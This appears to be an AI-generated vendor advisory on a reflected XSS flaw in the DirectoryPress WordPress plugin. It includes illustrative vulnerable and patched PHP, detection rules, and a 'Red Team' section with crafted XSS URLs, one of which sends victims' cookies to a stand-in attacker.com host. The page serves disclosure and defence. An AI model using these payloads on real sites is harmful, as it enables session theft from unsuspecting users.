CVE-2024-49633
Executive Summary
CVE-2024-49633 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin DirectoryPress by Designinvento, affecting versions up to and including 3.6.19. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can be exploited to steal session cookies, perform phishing attacks, or deface the site. The CVSS score is 7.1 (High), and no official patch has been released. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed DirectoryPress from the repository are at risk. No malicious packages have been identified in the supply chain, but the lack of a patch means users must rely on manual mitigation or plugin removal.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a crafted link.
- Scope (S): Changed (C) – Impact can extend beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited service disruption.
Threat Level: High. The vulnerability is easy to exploit and requires only user interaction. It can lead to session hijacking, credential theft, and further compromise of the WordPress admin panel.
Deep Dive & Mechanics
The vulnerability exists in the DirectoryPress plugin’s handling of URL parameters. When a user visits a crafted URL containing malicious JavaScript in a parameter (e.g., ?page=directorypress&search=<script>alert(1)</script>), the plugin reflects the input without proper sanitization or encoding. This allows the attacker to execute arbitrary JavaScript in the context of the victim’s browser.
The root cause is the use of echo $_GET['param'] or similar unsanitized output functions in the plugin’s PHP code. The plugin fails to apply htmlspecialchars() or esc_html() to user-supplied data before rendering it in the HTML response.
Vulnerable vs. Patched Code
Vulnerable Code (PHP):
<?php
// Vulnerable: Direct output of user input
echo '<div class="search-term">' . $_GET['search'] . '</div>';
?>
Patched Code (PHP):
<?php
// Patched: Sanitize output with WordPress escaping function
echo '<div class="search-term">' . esc_html( $_GET['search'] ) . '</div>';
?>
The patched version uses esc_html() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Attacker)
Step 1: Craft the malicious URL
http://target-site.com/wp-admin/admin.php?page=directorypress&search=<script>alert('XSS')</script>
Step 2: Deliver the link to a victim (e.g., via email, social engineering).
Step 3: Upon click, the script executes in the victim’s browser.
Advanced payload for session theft:
http://target-site.com/wp-admin/admin.php?page=directorypress&search=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Defender)
Lab Setup:
- Install WordPress with DirectoryPress <= 3.6.19.
- Use a local web server (e.g., XAMPP) and a browser.
- Test the vulnerability by visiting the crafted URL.
Detection:
- Monitor web server logs for requests containing
<script>tags in thesearchparameter. - Use a Web Application Firewall (WAF) to block reflected XSS patterns.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/wp-admin/admin.php?page=directorypress&search=containing<script>oronerror=tags. - Outbound connections to attacker-controlled domains (e.g., for cookie exfiltration).
- HTTP requests to
Host IOCs:
- Unexpected JavaScript execution in browser console.
- Modified WordPress admin cookies.
File IOCs:
- No specific file changes; the vulnerability is in the plugin code itself.
Detection Engineering
YARA Rule
rule Detect_DirectoryPress_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against DirectoryPress plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-49633"
strings:
$xss_pattern = /<script[^>]*>.*?<\/script>/i
$param = "page=directorypress"
condition:
$param and $xss_pattern
}
Sigma Rule
title: Reflected XSS in DirectoryPress Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against DirectoryPress plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'page=directorypress'
cs-uri-query|re: '<script[^>]*>.*?</script>'
condition: selection
falsepositives:
- Legitimate use of script tags in search (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-49633 DirectoryPress Reflected XSS Attempt"; flow:to_server; content:"page=directorypress"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the DirectoryPress plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests containing
<script>in thesearchparameter. - Educate users not to click suspicious links.
Long-term Fix:
- Apply the patched code (see above) or wait for an official update from the vendor.
- Consider switching to an alternative directory plugin that is actively maintained.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.